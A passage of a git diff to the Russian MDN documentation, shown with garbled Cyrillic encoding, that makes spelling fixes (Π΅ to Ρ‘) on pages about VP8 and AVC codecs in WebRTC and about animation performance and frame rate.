ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ VP8 Π² IRC, Ρ‡Ρ‚ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠ°Π΅Ρ‚ взаимодСйствиС, Π½ΠΎ Π·Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΏΠ»Π°Ρ‚Ρƒ - VP8 Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π½Π° устройствах iOS, поэтому Π΅Π³ΠΎ использованиС ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΡŽ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π½Π° процСссор ΠΈ ΡΠΎΠΊΡ€Π°Ρ‰Π΅Π½ΠΈΡŽ срока слуТбы Π±Π°Ρ‚Π°Ρ€Π΅ΠΈ.</p>
<h4 id="ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ">ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ</h4>
-<p>К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, VP8 ΠΈ AVC Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Π°Π΄Π΅ΠΊΠ²Π°Ρ‚Π½Ρ‹ для использования Π² видСоконфСрСнцсвязи ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ€Π΅ΡˆΠ΅Π½ΠΈΡΡ… WebRTC. ΠžΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ остаСтся Π·Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ. Какой Π±Ρ‹ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π²Ρ‹ Π½ΠΈ Π²Ρ‹Π±Ρ€Π°Π»ΠΈ, ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½Π½ΡƒΡŽ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅, ΠΎ Π»ΡŽΠ±Ρ‹Ρ… ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ… ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Π°ΠΌ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ для этого ΠΊΠΎΠ΄Π΅ΠΊΠ°.</p>
+<p>К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, VP8 ΠΈ AVC Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Π°Π΄Π΅ΠΊΠ²Π°Ρ‚Π½Ρ‹ для использования Π² видСоконфСрСнцсвязи ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ€Π΅ΡˆΠ΅Π½ΠΈΡΡ… WebRTC. ΠžΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ остаётся Π·Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ. Какой Π±Ρ‹ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π²Ρ‹ Π½ΠΈ Π²Ρ‹Π±Ρ€Π°Π»ΠΈ, ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½Π½ΡƒΡŽ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅, ΠΎ Π»ΡŽΠ±Ρ‹Ρ… ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ… ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Π°ΠΌ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придётся ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ для этого ΠΊΠΎΠ΄Π΅ΠΊΠ°.</p>
<p>Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹Π±ΠΎΡ€ ΠΊΠΎΠ΄Π΅ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π½Π΅Ρ‚ Π² спискС ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ², ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ риску Π²Ρ‹Π±ΠΎΡ€Π° ΠΊΠΎΠ΄Π΅ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ поддСрТиваСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°ΡŽΡ‚ ваши ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ. ΠŸΡ€ΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Β <a href="/en-US/docs/Web/Media/Formats/Support_issues">РСшСниС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΌΠ΅Π΄ΠΈΠ°ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π² Π²Π΅Π± ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅</a>Β , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Ρ… ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ², Π½ΠΎ ΠΏΡ€ΠΈ этом ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ этот ΠΊΠΎΠ΄Π΅ΠΊ.</p>
<h2 id="ΠŸΠΎΡΠ»Π΅Π΄ΡΡ‚Π²ΠΈΡ_для_бСзопасности">ΠŸΠΎΡΠ»Π΅Π΄ΡΡ‚Π²ΠΈΡ для бСзопасности</h2>
-<p>ΠŸΡ€ΠΈ Π²Ρ‹Π±ΠΎΡ€Π΅ ΠΈ настройкС ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚ интСрСсныС ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ бСзопасности.Β Π’ΠΈΠ΄Π΅ΠΎ WebRTC Π·Π°Ρ‰ΠΈΡ‰Π΅Π½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Datagram Transport Layer Security ({{Glossary("DTLS")}}), Π½ΠΎ для ΠΌΠΎΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ стороны тСорСтичСски Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ вывСсти Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ измСнСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ происходит ΠΎΡ‚ ΠΊΠ°Π΄Ρ€Π° ΠΊ ΠΊΠ°Π΄Ρ€Ρƒ ΠΏΡ€ΠΈ использовании ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² с ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ (VBR), ΠΏΡƒΡ‚Π΅ΠΌ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° скорости ΠΏΠΎΡ‚ΠΎΠΊΠ° Β ΠΈ Π΅Π΅ измСнСния Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Ρ‹Π²ΠΎΠ΄ ΠΎ содСрТании ΠΏΠΎΡ‚ΠΎΠΊΠ°, учитывая ΠΏΡ€ΠΈΠ»ΠΈΠ²Ρ‹ ΠΈ ΠΎΡ‚Π»ΠΈΠ²Ρ‹ скорости ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ.</p>
+<p>ΠŸΡ€ΠΈ Π²Ρ‹Π±ΠΎΡ€Π΅ ΠΈ настройкС ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚ интСрСсныС ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ бСзопасности.Β Π’ΠΈΠ΄Π΅ΠΎ WebRTC Π·Π°Ρ‰ΠΈΡ‰Π΅Π½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Datagram Transport Layer Security ({{Glossary("DTLS")}}), Π½ΠΎ для ΠΌΠΎΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ стороны тСорСтичСски Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ вывСсти Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ измСнСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ происходит ΠΎΡ‚ ΠΊΠ°Π΄Ρ€Π° ΠΊ ΠΊΠ°Π΄Ρ€Ρƒ ΠΏΡ€ΠΈ использовании ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² с ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ (VBR), ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° скорости ΠΏΠΎΡ‚ΠΎΠΊΠ° Β ΠΈ Π΅Ρ‘ измСнСния Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Ρ‹Π²ΠΎΠ΄ ΠΎ содСрТании ΠΏΠΎΡ‚ΠΎΠΊΠ°, учитывая ΠΏΡ€ΠΈΠ»ΠΈΠ²Ρ‹ ΠΈ ΠΎΡ‚Π»ΠΈΠ²Ρ‹ скорости ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ.</p>
<p>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ о бСзопасности ΠΏΡ€ΠΈ использовании AVC Π² WebRTC см. Β {{RFC(6184, "RTP Payload Format for H.264 Video: Security Considerations", 9)}}.</p>
diff --git a/files/ru/web/performance/animation_performance_and_frame_rate/index.html b/files/ru/web/performance/animation_performance_and_frame_rate/index.html
index 9b9121b742..8ccf7fb88d 100644
--- a/files/ru/web/performance/animation_performance_and_frame_rate/index.html
+++ b/files/ru/web/performance/animation_performance_and_frame_rate/index.html
@@ -13,7 +13,7 @@ original_slug: Web/Performance/ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ_Π°Π½ΠΈΠΌΠ°Ρ†
---
<p>Анимация Π² Π’Π΅Π±Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сдСлана с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{domxref('SVGAnimationElement', 'SVG')}}, {{domxref('window.requestAnimationFrame','JavaScript')}}, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ {{htmlelement('canvas')}} ΠΈΒ {{domxref('WebGL_API', 'WebGL')}}, CSS {{cssxref('animation')}}, {{htmlelement('video')}}, Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… GIFΒ ΠΈ Π΄Π°ΠΆΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ…Β PNG ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ² ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ. ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ CSS Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ CSS-свойства ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ, Π° ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β "Π΄ΠΎΡ€ΠΎΠ³ΠΈΠ΅" CSS-свойства ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ зависаниям ({{glossary('jank')}}), Π΄Π°ΠΆΠ΅ нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ борСтся Π·Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΌΡΠ³Ρ‡ΠΈΡ‚ΡŒ частоту смСны ΠΊΠ°Π΄Ρ€ΠΎΠ²Β {{glossary('frame rate')}}.</p>
-<p>Для Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅Π΄ΠΈΠ°, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Π²ΠΈΠ΄Π΅ΠΎ ΠΈ GIF, основная ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ - это Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ„Π°ΠΉΠ»ΠΎΠ². Π‘ΠΊΠ°Ρ‡ΠΈΠ²Π°Π½ΠΈΠ΅ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΏΠΎ ΠΎΠ±ΡŠΠ΅ΠΌΡƒ Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ ΠΏΠΎΠ²Π»ΠΈΡΡ‚ΡŒ Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ систСмы ΠΈΠ»ΠΈ Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ эту ΡΠΈΡΡ‚Π΅ΠΌΡƒΒ Π²ΠΎΡΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ.Β </p>
+<p>Для Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅Π΄ΠΈΠ°, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Π²ΠΈΠ΄Π΅ΠΎ ΠΈ GIF, основная ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ - это Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ„Π°ΠΉΠ»ΠΎΠ². Π‘ΠΊΠ°Ρ‡ΠΈΠ²Π°Π½ΠΈΠ΅ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΏΠΎ ΠΎΠ±ΡŠΡ‘ΠΌΡƒ Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ ΠΏΠΎΠ²Π»ΠΈΡΡ‚ΡŒ Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ систСмы ΠΈΠ»ΠΈ Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ эту ΡΠΈΡΡ‚Π΅ΠΌΡƒΒ Π²ΠΎΡΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ.Β </p>
<p>Анимации, основанныС на ΠΊΠΎΠ΄Π΅, Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ CSS, SVG, &lt;canvas&gt;, webGL ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ JavaScript Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, могут нСсти ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ сами в сСбС, Π΄Π°ΠΆΠ΅ Ссли файлы этого ΠΊΠΎΠ΄Π° ΡΠΊΠ°Ρ‡ΠΈΠ²Π°ΡŽΡ‚ΡΡ быстро. Π’Π°ΠΊΠΈΠ΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈΒ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡ‚ΡŒ всё врСмя CPU ΠΈ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ зависаниям.</p>
@@ -25,12 +25,12 @@ original_slug: Web/Performance/ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ_Π°Π½ΠΈΠΌΠ°Ρ†
<p>Π“Ρ€Π°Ρ„ΠΈΠΊΠΈΒ <a href="/en-US/docs/Tools/Performance/Frame_rate">frame rate</a> ΠΈ <a href="/en-US/docs/Tools/Performance/Waterfall">waterfall</a>Β ΠΈΠ· встроСнных инструмСнтов Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Β Π΄Π°ΡŽΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ выполняСт Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΠΎ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ эти инструмСнты, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Ρ€ΠΈΡ‚ΡŒ fps прилоТСния ΠΈ Π΄ΠΈΠ°Π³Π½ΠΎΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠ·ΠΊΠΈΠ΅ мСста, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… fps ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ΡΡ.</p>
-<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</a>Β Π²Ρ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅Β <a href="/en-US/docs/Web/CSS/@keyframes">ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅Β ΠΊΠ°Π΄Ρ€Ρ‹Β (keyframes)</a>, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ CSS свойства, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ внСшний Π²ΠΈΠ΄ элСмСнта Π² ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ (ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠΉ) ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.Β Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ создаСт Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ»Π°Π²Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΎΠ² ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π° ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ.</p>
+<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</a>Β Π²Ρ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅Β <a href="/en-US/docs/Web/CSS/@keyframes">ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅Β ΠΊΠ°Π΄Ρ€Ρ‹Β (keyframes)</a>, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ CSS свойства, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ внСшний Π²ΠΈΠ΄ элСмСнта Π² ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ (ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠΉ) ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.Β Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ создаёт Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ»Π°Π²Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΎΠ² ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π° ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ.</p>
<p>Если ΡΡ€Π°Π²Π½ΠΈΠ²Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript ΠΈ CSS, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ CSS-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΏΡ€ΠΎΡ‰Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ. Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, CSS-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ Π»ΡƒΡ‡ΡˆΡƒΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ автоматичСски Π΄Π΅Π»Π΅Π³ΠΈΡ€ΡƒΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Π΄Π°Ρ‡ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ. НапримСр, Π² случаС CSS Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ сам Ρ€Π΅ΡˆΠ°Π΅Ρ‚, 